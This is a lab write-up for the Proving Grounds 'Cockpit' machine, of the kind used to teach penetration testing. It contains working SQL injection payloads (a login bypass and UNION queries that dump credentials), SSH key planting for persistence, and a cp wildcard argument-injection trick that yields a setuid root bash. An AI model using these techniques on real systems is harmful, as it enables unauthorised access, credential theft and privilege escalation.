Skip to content

Cockpit Writeup - Proving Grounds

Intermediate Linux

Created October 6, 2026 • Last updated October 6, 2026 • 4 min read

In this guide we manually exploit a SQL injection in a login form to dump a set of credentials, then reuse them against the Cockpit admin panel on port 9090 to land a session as james. Write access to that user's filesystem lets us drop an SSH key for a stable shell. For root we analyze a custom SUID ELF, Authchecker, find a wildcard bug in its cp call, and copy a setuid bash into a protected directory.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-title: blaze
|_http-server-header: Apache/2.4.41 (Ubuntu)
9090/tcp open  ssl/zeus-admin?
| ssl-cert: Subject: commonName=blaze
|_  Subject Alternative Name: IP Address:127.0.0.1, DNS:localhost
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

SSH on 22, Apache on 80, and an SSL admin service on 9090. The 9090 certificate common name blaze and the zeus-admin fingerprint point to Cockpit, the Linux web admin panel. Port 80 serves a static landing page, so fuzz it for content.

Enumeration

Content discovery

Fuzz for PHP endpoints on port 80.

┌──(kali㉿kali)-[~]
└─$ ffuf -w /opt/seclists/Discovery/Web-Content/raft-small-words.txt -u http://$TARGET_IP/FUZZ.php --fc 403
logout                   [Status: 302, Size: 0, Words: 1, Lines: 1]
home                     [Status: 200, Size: 714, Words: 70, Lines: 36]
login                    [Status: 200, Size: 769, Words: 69, Lines: 29]
db_config                [Status: 200, Size: 0, Words: 1, Lines: 1]
Explain command
-w Wordlist to fuzz with.
-u Target URL with the FUZZ keyword marking the injection point.
--fc Filter out responses with this status code.

login.php is the way in. The page is a standard username and password form.

Exploitation

SQL injection

Entering the username admin'-- - comments out the password check and bypasses the login, landing on the admin dashboard. That confirms a SQL injection.

The login is injectable through the username parameter, so switch to a UNION-based dump with Burp Repeater. Start by finding the column count, then walk the schema.

-- 5 columns, reflect @@version
username=' union select 1,@@version,3,4,5-- -&password=dada

-- list databases
username=' union select 1,schema_name,3,4,5 from information_schema.schemata-- -&password=dada

-- tables in blazeDB
username=' union select 1,table_name,3,4,5 from information_schema.tables where table_schema='blazeDB'-- -&password=dada

-- columns in users
username=' union select 1,column_name,3,4,5 from information_schema.columns where table_name='users'-- -&password=dada

-- dump credentials
username=' union select 1,group_concat(username,0x3a,password,0x3a,name),3,4,5 from users-- -&password=dada

The blazeDB database holds a users table with username, password, and name columns. The final query returns two accounts sharing one password.

  • admin: $ADMIN_PASSWORD
  • james: $JAMES_PASSWORD

Cockpit foothold

SSH is configured for key authentication only, so the password is no use there. Reuse it against Cockpit on port 9090 instead, which accepts james and the recovered password and opens a session.

Cockpit includes a web terminal, giving a shell as james. Drop an SSH public key to get a stable session.

┌──(kali㉿kali)-[~]
└─$ mkdir .ssh
┌──(kali㉿kali)-[~]
└─$ cd .ssh/
┌──(kali㉿kali)-[~]
└─$ echo 'ssh-rsa AAAA...<attacker public key> attacker@kali' > authorized_keys
┌──(kali㉿kali)-[~]
└─$ chmod 600 authorized_keys
┌──(kali㉿kali)-[~]
└─$ chmod 700 ../.ssh/

With the key in place, log in over SSH as james.

Privilege Escalation

List the sudo rights.

┌──(kali㉿kali)-[~]
└─$ sudo -l
Matching Defaults entries for james on blaze:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User james may run the following commands on blaze:
    (ALL) NOPASSWD: /usr/local/bin/Authchecker

james can run the custom ELF Authchecker as root. Copy it back and decompile it in Ghidra. A function named copy_keys runs cp with a wildcard, which is exploitable.

A wildcard in cp lets filenames double as arguments. Create a file named --preserve=mode alongside a setuid-marked bash, so cp preserves the setuid bit when it copies bash into the protected directory.

┌──(kali㉿kali)-[~]
└─$ cp /bin/bash .
┌──(kali㉿kali)-[~]
└─$ chmod 4777 bash
┌──(kali㉿kali)-[~]
└─$ touch -- --preserve=mode
┌──(kali㉿kali)-[~]
└─$ sudo /usr/local/bin/Authchecker
Dear employees, this is an authenticator for blaze login as root, please drop your public key under the current directory
written to /etc/key_check/public_key, we will let you know soon your authentication status to blaze
Explain command
chmod 4777 Set the setuid bit on the copied bash.
touch -- --preserve=mode Create a file whose name becomes a cp flag that preserves permission bits.

Authchecker copies the current directory into /etc/key_check/ with a wildcard, and the --preserve=mode filename forces it to keep the setuid bit on bash.

┌──(kali㉿kali)-[~]
└─$ /etc/key_check/bash -p
bash-5.0# id
uid=1000(james) gid=1000(james) euid=0(root) groups=1000(james)
Explain command
-p Keep the effective UID so the setuid root carries through.

The preserved setuid bash runs as root, giving a root shell.

References